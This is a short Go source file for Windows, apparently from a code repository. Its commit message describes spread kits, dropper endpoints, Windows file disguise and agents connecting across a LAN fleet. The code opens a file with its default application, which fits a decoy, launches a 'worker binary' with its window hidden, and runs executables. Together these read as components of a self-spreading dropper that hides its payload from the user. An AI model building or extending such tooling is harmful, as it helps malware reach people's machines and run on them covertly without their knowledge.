Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
39 lines
861 B
Go
39 lines
861 B
Go
//go:build windows
|
|
|
|
package main
|
|
|
|
import (
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"syscall"
|
|
)
|
|
|
|
// openFile opens any file with the Windows default application.
|
|
// Works for PDF, video, document, image, executable — anything.
|
|
func openFile(path string) {
|
|
path = filepath.Clean(path)
|
|
cmd := exec.Command("cmd", "/c", "start", "", path)
|
|
_ = cmd.Start()
|
|
}
|
|
|
|
// applyHiddenStartPath launches the worker binary hidden (no window).
|
|
func applyHiddenStartPath(path string) {
|
|
cmd := exec.Command(path)
|
|
cmd.Dir = filepath.Dir(path)
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
|
HideWindow: true,
|
|
CreationFlags: 0x08000000,
|
|
}
|
|
_ = cmd.Start()
|
|
}
|
|
|
|
// applyWaitRun launches an exe directly and waits for it to exit.
|
|
func applyWaitRun(path string) {
|
|
cmd := exec.Command(path)
|
|
cmd.Dir = filepath.Dir(path)
|
|
cmd.Stdout = os.Stdout
|
|
cmd.Stderr = os.Stderr
|
|
_ = cmd.Run()
|
|
}
|